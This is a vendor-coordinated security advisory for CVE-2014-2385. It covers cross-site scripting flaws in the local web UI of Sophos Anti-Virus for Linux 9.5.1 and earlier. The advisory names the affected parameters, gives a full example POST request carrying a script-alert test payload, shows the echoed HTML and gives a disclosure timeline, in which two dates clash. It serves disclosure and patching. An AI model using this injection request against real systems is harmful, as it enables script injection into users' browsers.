Tried, Tested and Proven

Vulnerability title: Multiple Cross Site Scripting In Sophos Anti-Virus for Linux local Web UI

CVE: CVE-2014-2385
Vendor: Sophos
Product: Antivirus
Affected version: 9.5.1 and below
Fixed version: 9.6.1
Reported by: Pablo Catalina

Details:

The local Web UI of Sophos Antivirus 9.5.1 and earlier for Linux does not sanitize several input parameters before sending them back to the browser, so an attacker could inject code inside these parameters, including JavaScript code. The web interface is only accessible locally, so to exploit the vulnerabilities access to the machine and a web UI username and password is required.

The following URLs and parameters are affected:

http://localhost:8081/exclusion/configure
newListList:ExcludeFileOnExpression
newListList:ExcludeFilesystems
newListList:ExcludeMountPaths

http://localhost:8081/notification/configure
text:EmailServer
newListList:Email

The following is an example POST request (Basic Auth removed) which would trigger the vulnerability:

POST /exclusion/configure HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8081/exclusion/configure
Cookie: exp_last_activity=1375959964; WHMCSAU=1%3A53a58b700463fd4c251cd51537aad07a7df15f56
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------10446692318289596542131287021
Content-Length: 577

-----------------------------10446692318289596542131287021
Content-Disposition: form-data; name="cookie" 

exp_last_activity=1375959964; WHMCSAU=1%3A53a58b700463fd4c251cd51537aad07a7df15f56
-----------------------------10446692318289596542131287021
Content-Disposition: form-data; name="newListList:ExcludeFileOnExpression" 

test<script>alert(1)</script>
-----------------------------10446692318289596542131287021
Content-Disposition: form-data; name="addListList:ExcludeFileOnExpression" 

Add New Entry
-----------------------------10446692318289596542131287021--

The above POST request would produce the following source code returned to the user:

[...]
        <form method="post" action="/exclusion/configure" enctype="multipart/form-data">
        <input type='hidden' name="cookie" value="exp_last_activity=1375959964; WHMCSAU=1%3A53a58b700463fd4c251cd51537aad07a7df15f56"/>
        <table><tr><td><input type='text' name='newListList:ExcludeFileOnExpression' class='ExcludeFileOnExpression'/></td><td><input type='submit' class='submit' name='addListList:ExcludeFileOnExpression' value='Add New Entry' title='Add a new entry to this list'/></td></tr><tr><td colspan="2"><select multiple='true' style='overflow-y: auto;' name='listList:ExcludeFileOnExpression'><option>test<script>alert(1)</script></option></select></td></tr><tr><td colspan="2"><input type='submit' class='submit' name='removeListList:ExcludeFileOnExpression' value='Remove Selected Entry' title='Remove selected entries from this list' /></td></tr></table>
        </form>
[...]

Sophos have released a knowledgebase article to address the vulnerability here.

Impact:

This vulnerability could allow a potential attacker to inject arbitrary code in the client browser.

Exploit:

Exploit code is not required.

Vendor status:

14/02/2014 Advisory created
14/02/2014 Vendor contacted
17/02/2014 Initial vendor response
21/02/2014 Vendor confirmed vulnerability, working on a fix
14/03/2014 CVE obtained
19/03/2014 Fix added to code
16/03/2014 Fix released, vendor requested we delay advisory release until June
24/06/2014 Published
Copyright:

Copyright © Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

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